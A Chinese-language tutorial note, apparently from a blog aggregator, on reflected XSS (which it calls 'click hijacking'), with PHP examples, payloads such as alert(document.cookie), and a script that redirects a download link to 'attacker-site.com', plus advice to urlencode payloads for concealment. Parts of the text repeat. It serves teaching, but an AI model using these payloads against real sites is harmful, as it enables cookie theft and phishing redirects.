XSS学习笔记(一)-点击劫持
来源:互联网 发布:java内存泄漏实例 编辑:程序博客网 时间:2024/05/18 01:34
所谓的XSS场景就是触发的XSS的场所,多数情况下都是攻击者在网页中嵌入(发表)的恶意脚本(Cross site Scripting),这里的触发攻击总是在浏览器端,达到攻击的者的目的,一般都是获取用户的Cookie(可以还原账户登录状态),导航到恶意网址,携带木马,作为肉鸡发起CC攻击,传播XSS蠕虫等。
简单举一个场景:
在一个页面有一个textbox 代码就是<input type="text" name="address1" value="value1from">
这里的valuefrom 就是来自用户的输入,如果用户输入的不是valuefrom 的字符串,而是其他的代码就可能出现用户输入的数据被执行,如输入:"/><script>alert(document.cookie);</script><!--那样输入字符床被拼接的之后就是:
这样就是显示一个含有用户cookie的提示框,如果输入再改改:
" onfocus="alert(document.cookie); 那就变成了:
这样在onfocus事件触发后,js 代码就会被执行,当然攻击者肯定不会傻的把提示框弹出来,这里只是证明可以获取到数据,hk的一般做法就是把想要的数据发到自己的另外一个站上他们的做法一般是:
在目标网页嵌入一段遮掩给的代码(一般都是在比较隐蔽的位置,或者直接就是在结尾):
1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):
原来服务器页面是
如果用户在URL输入:这样在用户链接就会生成这样html代码:
看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,但是你会发现这还不是点击劫持啊? 呵呵,不要着急,只要你明白了这个道理,相信你就是猥琐的想到直接在那里加段js 直接修改掉那个超链接就Ok了,下面是具体的办法:
如果用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://attacker-site.com';}</script>
返回到用户的界面就是这样的:
但是因为很快就会执行window.load的方法,这样后面的劫持的URL就发生了:
当然这里的看得URL太过明显了,咋办? 只要再加个urlencode()等之类的函数就起到模糊视听的作用了。
简单举一个场景:
在一个页面有一个textbox 代码就是<input type="text" name="address1" value="value1from">
这里的valuefrom 就是来自用户的输入,如果用户输入的不是valuefrom 的字符串,而是其他的代码就可能出现用户输入的数据被执行,如输入:"/><script>alert(document.cookie);</script><!--那样输入字符床被拼接的之后就是:
- <input type="text" name="address1" value=""/><script>alert(document.cookie);</script><!--">
" onfocus="alert(document.cookie); 那就变成了:
- <input type="text" name="address1" value="" onfocus="alert(document.cookie); ">
在目标网页嵌入一段遮掩给的代码(一般都是在比较隐蔽的位置,或者直接就是在结尾):
1.点击劫持(hjick click)-一种非持久性攻击方法(反射型XSS):
原来服务器页面是
- <?php
- $name = $_GET['name']; /* 在GET 参数中获取用户名 */
- echo "Welcome $name <br>"; /* 这里网页中打印变量 */
- echo "<a href="http://blog.csdn.net/l_f0rM4t3d"> Click to Download</a>"; /* 显示可重定向的链接 */
- ?>
- index.php?id=ByteWay<script>alert('attacked');</script>
- Welcome ByteWay <script>alert('attacked');</script>
- <br>
- <a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>
看到上面的代码大哥你就惊呆了吧: 这里会弹出 attacked 的提示框,但是你会发现这还不是点击劫持啊? 呵呵,不要着急,只要你明白了这个道理,相信你就是猥琐的想到直接在那里加段js 直接修改掉那个超链接就Ok了,下面是具体的办法:
如果用户在URL输入:index.php?id=ByteWay<script>window.onload=function(){var link=document.getElementsByTagName('a');link[0].href='http://attacker-site.com';}</script>
返回到用户的界面就是这样的:
- Welcome ByteWay
- <script>
- window.onload=function(){var link=document.getElementsByTagName('a');
- link[0].href='http://attacker-site.com';
- }
- </script>
- <br>
- <a href='http://blog.csdn.net/l_f0rM4t3d'> Click to Download</a>
- Welcome ByteWay
- <script>
- window.onload=function(){var link=document.getElementsByTagName('a');
- link[0].href='http://attacker-site.com';
- }
- </script>
- <br>
- <a href='http://attacker-site.com'> Click to Download</a> <!-- 注意这是被劫持之后的URL -->
当然这里的看得URL太过明显了,咋办? 只要再加个urlencode()等之类的函数就起到模糊视听的作用了。
0 0
- XSS学习笔记(一)-点击劫持
- XSS学习笔记(一)-点击劫持
- web安全学习笔记之-点击劫持
- xss(cookie劫持)
- XSS学习笔记(五)-XSS防御
- XSS学习笔记(六)-XSS蠕虫
- node-npm安全性插件helmet(防护包含点击劫持、xss、嗅探攻击...)
- XSS学习笔记(1)
- XSS学习笔记(三)-XSS平台的搭建
- XSS学习(一)之HTML
- XSS学习笔记(入门篇)
- XSS学习笔记(一) 概念、基本原理、简单实例及危害
- XSS学习笔记1
- 点击劫持
- 【XSS】XSS Bypass学习笔记1
- Android学习笔记:(一)设置Button的点击事件
- xss学习的一小步
- 点击劫持(Clickjacking)漏洞技术内幕
- 北漂两年来的思考
- 全球可信并且唯一免费的HTTPS(SSL)证书颁发机构:StartSSL
- java switch语句使用四大要点
- 2014.4.21
- DFCircleActivityIndicator DF圆形活动状态指示器
- XSS学习笔记(一)-点击劫持
- JSONObject与JSONArray的使用
- Android------startActivityForResult的详细用法
- 【陈寿福案】珊瑚虫QQ侵权案民事判决书
- 《Python基础教程》 第六章 文件处理笔记
- 网工备考--Windows server 2003 Mail 全攻略
- 书写高质量JavaScript代码的要义(The Essentials of Writing High Quality JavaScript)翻译
- android logcat不打印信息解决方法
- 一个偶然的机会发现了FCKeditor,非常非常的不错!